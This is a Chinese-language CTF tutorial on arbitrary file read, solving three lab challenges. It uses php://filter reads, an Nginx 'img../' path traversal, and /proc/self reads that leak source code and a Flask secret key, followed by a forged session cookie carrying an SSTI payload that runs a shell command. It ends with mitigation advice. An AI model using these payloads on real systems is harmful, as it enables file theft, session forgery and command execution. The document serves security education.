CTFer成长之路之任意文件读取漏洞
字数 1600 2025-08-11 17:40:32

任意文件读取漏洞详解与CTF实战教学

一、任意文件读取漏洞概述

任意文件读取漏洞(Arbitrary File Read, AFR)是指攻击者能够读取服务器上的任意文件,包括源代码、配置文件、敏感数据等。这种漏洞通常由于服务器未对用户输入进行严格过滤或配置不当导致。

二、CTF中的三种任意文件读取漏洞场景

场景1:PHP协议利用

题目描述:通过PHP协议实现文件读取

环境配置

version: '3.2'
services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-1:latest
    ports:
      - 80:80

解题步骤

  1. 访问基础URL:http://192.168.10.22/?p=hello
  2. 利用php://filter协议读取文件:
    http://192.168.10.22/?p=php://filter/convert.base64-encode/resource=flag
    
  3. 对返回的base64编码数据进行解码,得到flag

关键点

  • 使用php://filter协议可以绕过某些文件读取限制
  • convert.base64-encode将文件内容以base64编码形式输出,避免直接显示时的格式问题

场景2:Nginx错误配置

题目描述:利用Nginx错误配置实现目录遍历

环境配置

version: '3.2'
services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-2:latest
    ports:
      - 80:80

解题步骤

  1. 访问基础URL:http://192.168.10.22/
  2. 利用Nginx错误配置访问上级目录:
    http://192.168.10.22/img../
    
  3. 查看目录内容后,直接访问flag文件:
    http://192.168.10.22/img../flag
    

关键点

  • Nginx错误配置导致img../可以访问根目录
  • 这种漏洞通常由于Nginx配置中缺少对路径遍历的防护

场景3:Linux proc目录利用与Flask SSTI

题目描述:结合/proc目录读取和Flask SSTI

环境配置

version: '3.2'
services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
    ports:
      - 5000:5000

解题步骤

1. 信息收集

  1. 访问基础URL:http://192.168.10.22:5000/
  2. 通过ifconfig查询网络信息

2. 利用/proc目录读取信息

  1. 获取当前进程执行的命令:

    http://192.168.10.22:5000/article?name=proc/self/cmdline
    

    (返回python server.py)

  2. 获取当前工作目录下的server.py源码:

    http://192.168.10.22:5000/article?name=proc/self/cwd/server.py
    

3. 源码审计

  • 发现flag在flag.py中
  • 发现appkey在key.py中
  • 关键词"flag"被过滤,无法直接读取flag.py

4. 获取appkey

http://192.168.10.22:5000/article?name=proc/self/cwd/key.py

(获取到key: Drmhze6EPcv0fN_81Bj-nA)

5. 利用Flask SSTI

  1. 分析发现存在SSTI漏洞的代码段:

    @app.route("/n1page", methods=["GET", "POST"])
    def n1page():
        if request.method != "POST":
            return redirect(url_for("index"))
        n1code = request.form.get("n1code") or None
        if n1code is not None:
            n1code = n1code.replace(...)
        if "n1code" not in session or session['n1code'] is None:
            session['n1code'] = n1code
        template = None
        if session['n1code'] is not None:
            template = '''<h1>N1 Page</h1>...''' % session['n1code']
            session['n1code'] = None
        return render_template_string(template)
    
  2. 使用flask-session-cookie-manager工具:

    • 安装:
      git clone https://github.com/noraj/flask-session-cookie-manager.git
      cd flask-session-cookie-manager
      
    • 解码现有cookie:
      python3 flask_session_cookie_manager3.py decode -c 'eyJuMWNvZGUiOm51bGx9.YB5YLg.zvCvxG173uppSx0eYLBbzVdYKSk' -s 'Drmhze6EPcv0fN_81Bj-nA'
      
      (返回{'n1code': None})
  3. 构造SSTI payload并编码:

    python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':'{{config.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
    

    得到加密后的cookie

  4. 修改session后访问页面获取flag

关键点

  • /proc/self/目录包含当前进程的信息
  • cmdline - 当前进程的命令行参数
  • cwd - 当前工作目录的符号链接
  • Flask的SSTI漏洞可以通过模板注入执行系统命令
  • Flask的session cookie需要appkey才能伪造

三、防护措施

  1. 输入验证

    • 严格过滤用户输入的文件路径
    • 禁止目录遍历字符(如../)
    • 使用白名单限制可访问的文件
  2. 服务器配置

    • 正确配置Nginx/Apache等服务器,防止目录遍历
    • 限制访问敏感目录(如/proc/)
  3. 代码层面

    • 避免使用用户输入直接拼接文件路径
    • 对文件读取操作进行权限检查
    • 禁用危险的PHP协议(如php://input)
  4. Flask特定防护

    • 避免使用render_template_string直接渲染用户输入
    • 保护appkey不被泄露
    • 使用安全的session管理

四、总结

任意文件读取漏洞是CTF比赛中常见的题型,也是实际渗透测试中高危的漏洞类型。通过这三个场景的学习,我们掌握了:

  1. 利用PHP协议绕过限制读取文件
  2. 利用服务器配置不当实现目录遍历
  3. 结合/proc目录信息泄露和Flask SSTI的综合利用

在实际应用中,开发人员应当严格验证用户输入,运维人员应当正确配置服务器,才能有效防范此类漏洞。

任意文件读取漏洞详解与CTF实战教学 一、任意文件读取漏洞概述 任意文件读取漏洞(Arbitrary File Read, AFR)是指攻击者能够读取服务器上的任意文件,包括源代码、配置文件、敏感数据等。这种漏洞通常由于服务器未对用户输入进行严格过滤或配置不当导致。 二、CTF中的三种任意文件读取漏洞场景 场景1:PHP协议利用 题目描述 :通过PHP协议实现文件读取 环境配置 : 解题步骤 : 访问基础URL: http://192.168.10.22/?p=hello 利用php://filter协议读取文件: 对返回的base64编码数据进行解码,得到flag 关键点 : 使用 php://filter 协议可以绕过某些文件读取限制 convert.base64-encode 将文件内容以base64编码形式输出,避免直接显示时的格式问题 场景2:Nginx错误配置 题目描述 :利用Nginx错误配置实现目录遍历 环境配置 : 解题步骤 : 访问基础URL: http://192.168.10.22/ 利用Nginx错误配置访问上级目录: 查看目录内容后,直接访问flag文件: 关键点 : Nginx错误配置导致 img../ 可以访问根目录 这种漏洞通常由于Nginx配置中缺少对路径遍历的防护 场景3:Linux proc目录利用与Flask SSTI 题目描述 :结合/proc目录读取和Flask SSTI 环境配置 : 解题步骤 : 1. 信息收集 访问基础URL: http://192.168.10.22:5000/ 通过 ifconfig 查询网络信息 2. 利用/proc目录读取信息 获取当前进程执行的命令: (返回 python server.py ) 获取当前工作目录下的server.py源码: 3. 源码审计 发现flag在flag.py中 发现appkey在key.py中 关键词"flag"被过滤,无法直接读取flag.py 4. 获取appkey (获取到key: Drmhze6EPcv0fN_81Bj-nA ) 5. 利用Flask SSTI 分析发现存在SSTI漏洞的代码段: 使用flask-session-cookie-manager工具: 安装: 解码现有cookie: (返回 {'n1code': None} ) 构造SSTI payload并编码: 得到加密后的cookie 修改session后访问页面获取flag 关键点 : /proc/self/ 目录包含当前进程的信息 cmdline - 当前进程的命令行参数 cwd - 当前工作目录的符号链接 Flask的SSTI漏洞可以通过模板注入执行系统命令 Flask的session cookie需要appkey才能伪造 三、防护措施 输入验证 : 严格过滤用户输入的文件路径 禁止目录遍历字符(如../) 使用白名单限制可访问的文件 服务器配置 : 正确配置Nginx/Apache等服务器,防止目录遍历 限制访问敏感目录(如/proc/) 代码层面 : 避免使用用户输入直接拼接文件路径 对文件读取操作进行权限检查 禁用危险的PHP协议(如php://input) Flask特定防护 : 避免使用 render_template_string 直接渲染用户输入 保护appkey不被泄露 使用安全的session管理 四、总结 任意文件读取漏洞是CTF比赛中常见的题型,也是实际渗透测试中高危的漏洞类型。通过这三个场景的学习,我们掌握了: 利用PHP协议绕过限制读取文件 利用服务器配置不当实现目录遍历 结合/proc目录信息泄露和Flask SSTI的综合利用 在实际应用中,开发人员应当严格验证用户输入,运维人员应当正确配置服务器,才能有效防范此类漏洞。